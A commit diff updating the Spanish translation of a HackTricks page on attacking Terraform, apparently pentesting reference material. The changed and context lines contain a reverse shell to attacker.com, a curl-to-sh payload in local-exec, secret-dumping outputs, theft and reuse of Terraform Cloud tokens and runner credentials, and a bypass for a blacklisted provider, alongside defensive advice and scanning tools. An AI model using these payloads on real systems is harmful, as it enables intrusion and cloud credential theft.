mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 05:46:25 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md'] to es
This commit is contained in:
@@ -6,7 +6,7 @@
|
||||
|
||||
[De la documentación:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como locales** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
|
||||
HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.
|
||||
|
||||
#### ¿Cómo funciona Terraform?
|
||||
|
||||
@@ -14,9 +14,9 @@ Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog y muchos más.
|
||||
HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.
|
||||
|
||||
El flujo de trabajo central de Terraform consta de tres etapas:
|
||||
El flujo de trabajo central de Terraform consiste en tres etapas:
|
||||
|
||||
- **Escribir:** Defines recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga.
|
||||
- **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración.
|
||||
@@ -34,9 +34,9 @@ Aquí tienes una [guía](https://learn.hashicorp.com/tutorials/terraform/install
|
||||
|
||||
Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform** o **poder modificar el archivo de estado de terraform** (ver capítulo a continuación).
|
||||
|
||||
Sin embargo, terraform es un **componente muy sensible** de comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que pueda funcionar correctamente.
|
||||
Sin embargo, terraform es un **componente muy sensible** a comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que funcione correctamente.
|
||||
|
||||
La principal forma en que un atacante puede comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**.
|
||||
La principal forma para que un atacante pueda comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**.
|
||||
|
||||
De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente después de que se crea un PR**, como **Atlantis**:
|
||||
|
||||
@@ -44,7 +44,7 @@ De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente de
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Si puedes comprometer un archivo de terraform, hay diferentes formas en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
|
||||
Si puedes comprometer un archivo de terraform, hay diferentes maneras en las que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
@@ -95,7 +95,7 @@ Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terr
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Se ejecutará Terraform apply para aplicar todos los cambios, también puedes abusar de esto para obtener RCE inyectando **un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Terraform apply se ejecutará para aplicar todos los cambios, también puedes abusar de él para obtener RCE inyectando **un archivo de Terraform malicioso con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
@@ -114,9 +114,9 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
```
|
||||
Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**.
|
||||
|
||||
## Extracción de secretos
|
||||
## Secrets Dumps
|
||||
|
||||
Puedes tener **valores secretos utilizados por terraform extraídos** ejecutando `terraform apply` al agregar al archivo de terraform algo como:
|
||||
Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
@@ -130,7 +130,7 @@ En caso de que tengas acceso de escritura sobre los archivos de estado de terraf
|
||||
|
||||
Es posible [crear un proveedor personalizado](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso falso que haga referencia al proveedor malicioso.
|
||||
|
||||
El proveedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se basa en la investigación y arma este principio. Puedes agregar un recurso falso y declarar el comando bash arbitrario que deseas ejecutar en el atributo `command`. Cuando se activa la ejecución de `terraform`, esto será leído y ejecutado tanto en los pasos de `terraform plan` como en `terraform apply`. En el caso del paso `terraform apply`, `terraform` eliminará el recurso falso del archivo de estado después de ejecutar tu comando, limpiando después de sí mismo. Más información y una demostración completa se pueden encontrar en el [repositorio de GitHub que alberga el código fuente para este proveedor](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
El proveedor [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) se basa en la investigación y arma este principio. Puedes agregar un recurso falso y declarar el comando bash arbitrario que deseas ejecutar en el atributo `command`. Cuando se activa la ejecución de `terraform`, esto será leído y ejecutado tanto en los pasos de `terraform plan` como en `terraform apply`. En el caso del paso `terraform apply`, `terraform` eliminará el recurso falso del archivo de estado después de ejecutar tu comando, limpiando después de sí mismo. Más información y una demostración completa se pueden encontrar en el [repositorio de GitHub que aloja el código fuente para este proveedor](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Para usarlo directamente, simplemente incluye lo siguiente en cualquier posición del array `resources` y personaliza los atributos `name` y `command`:
|
||||
```json
|
||||
@@ -176,13 +176,13 @@ Porque terraform verá que el recurso no debería existir, lo destruirá (siguie
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Modificar el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)**
|
||||
2. **Modifique el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)**
|
||||
|
||||
Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.
|
||||
|
||||
### Reemplazar proveedor en la lista negra
|
||||
### Reemplace el proveedor en la lista negra
|
||||
|
||||
En caso de que te encuentres en una situación donde `hashicorp/external` fue puesto en la lista negra, puedes re-implementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o re-implementación.
|
||||
En caso de que se encuentre en una situación donde `hashicorp/external` esté en la lista negra, puede reimplementar el proveedor `external` haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puede publicar su propio fork o reimplementación.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -199,7 +199,81 @@ data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
## Herramientas de Auditoría Automáticas
|
||||
## Terraform Cloud speculative plan RCE y exfiltración de credenciales
|
||||
|
||||
Este escenario abusa de los runners de Terraform Cloud (TFC) durante los planes especulativos para pivotar en la cuenta de nube objetivo.
|
||||
|
||||
- Precondiciones:
|
||||
- Robar un token de Terraform Cloud de una máquina de desarrollador. La CLI almacena tokens en texto plano en `~/.terraform.d/credentials.tfrc.json`.
|
||||
- El token debe tener acceso a la organización/espacio de trabajo objetivo y al menos el permiso de `plan`. Los espacios de trabajo respaldados por VCS bloquean `apply` desde la CLI, pero aún permiten planes especulativos.
|
||||
|
||||
- Descubrir la configuración del espacio de trabajo y VCS a través de la API de TFC:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
- Disparar la ejecución de código durante un plan especulativo utilizando la fuente de datos externa y el bloque "cloud" de Terraform Cloud para dirigirse al espacio de trabajo respaldado por VCS:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
Ejemplo de rsync.sh para obtener un shell reverso en el corredor de TFC:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
Ejecuta un plan especulativo para ejecutar el programa en el corredor efímero:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
- Enumerar y exfiltrar credenciales de nube inyectadas del runner. Durante las ejecuciones, TFC inyecta credenciales del proveedor a través de archivos y variables de entorno:
|
||||
```bash
|
||||
env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
Archivos esperados en el directorio de trabajo del runner:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (configuración JSON de Federación de Identidad de Carga de Trabajo)
|
||||
- `tfc-gcp-token` (token de acceso GCP de corta duración)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (configuración de asunción de rol de identidad web/OIDC)
|
||||
- `tfc-aws-token` (token de corta duración; algunas organizaciones pueden usar claves estáticas)
|
||||
|
||||
- Utiliza las credenciales de corta duración fuera de banda para eludir las puertas de enlace VCS:
|
||||
|
||||
GCP (gcloud):
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
AWS (AWS CLI):
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
Con estas credenciales, los atacantes pueden crear/modificar/destruir recursos directamente utilizando CLIs nativas, eludiendo flujos de trabajo basados en PR que bloquean `apply` a través de VCS.
|
||||
|
||||
- Orientación defensiva:
|
||||
- Aplique el principio de menor privilegio a los usuarios/equipos y tokens de TFC. Audite las membresías y evite propietarios sobredimensionados.
|
||||
- Restringa el permiso de `plan` en espacios de trabajo respaldados por VCS sensibles cuando sea posible.
|
||||
- Haga cumplir listas de permitidos de proveedores/fuentes de datos con políticas de Sentinel para bloquear `data "external"` o proveedores desconocidos. Consulte la orientación de HashiCorp sobre filtrado de proveedores.
|
||||
- Prefiera OIDC/WIF sobre credenciales de nube estáticas; trate a los runners como sensibles. Monitoree las ejecuciones de planes especulativos y el egreso inesperado.
|
||||
- Detecte la exfiltración de artefactos de credenciales `tfc-*` y alerte sobre el uso sospechoso de programas `external` durante los planes.
|
||||
|
||||
|
||||
## Herramientas de Auditoría Automática
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
@@ -208,7 +282,7 @@ Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) qu
|
||||
- **Características:**
|
||||
- Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento.
|
||||
- Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket).
|
||||
- Solicitudes de extracción para correcciones automáticas.
|
||||
- Solicitudes de extracción de corrección automatizadas.
|
||||
- Consejos detallados de remediación.
|
||||
- **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -223,18 +297,18 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos.
|
||||
|
||||
Realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes y imágenes de código abierto en busca de Vulnerabilidades y Exposiciones Comunes (CVEs).
|
||||
Realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
|
||||
Desde la [**documentación**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código.
|
||||
|
||||
- **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados.
|
||||
- **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC?
|
||||
- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Ver [Instalación](https://terraform-compliance.com/pages/installation/)
|
||||
- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-despliegue:** valida tu código antes de que se despliegue.
|
||||
- **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados.
|
||||
- **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable.
|
||||
@@ -254,7 +328,7 @@ Desde la [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análi
|
||||
- ⛔ Cientos de reglas integradas
|
||||
- 🪆 Escanea módulos (locales y remotos)
|
||||
- ➕ Evalúa expresiones HCL así como valores literales
|
||||
- ↪️ Evalúa funciones de Terraform e.g. `concat()`
|
||||
- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()`
|
||||
- 🔗 Evalúa relaciones entre recursos de Terraform
|
||||
- 🧰 Compatible con el Terraform CDK
|
||||
- 🙅 Aplica (y embellece) políticas Rego definidas por el usuario
|
||||
@@ -292,5 +366,13 @@ brew install terrascan
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user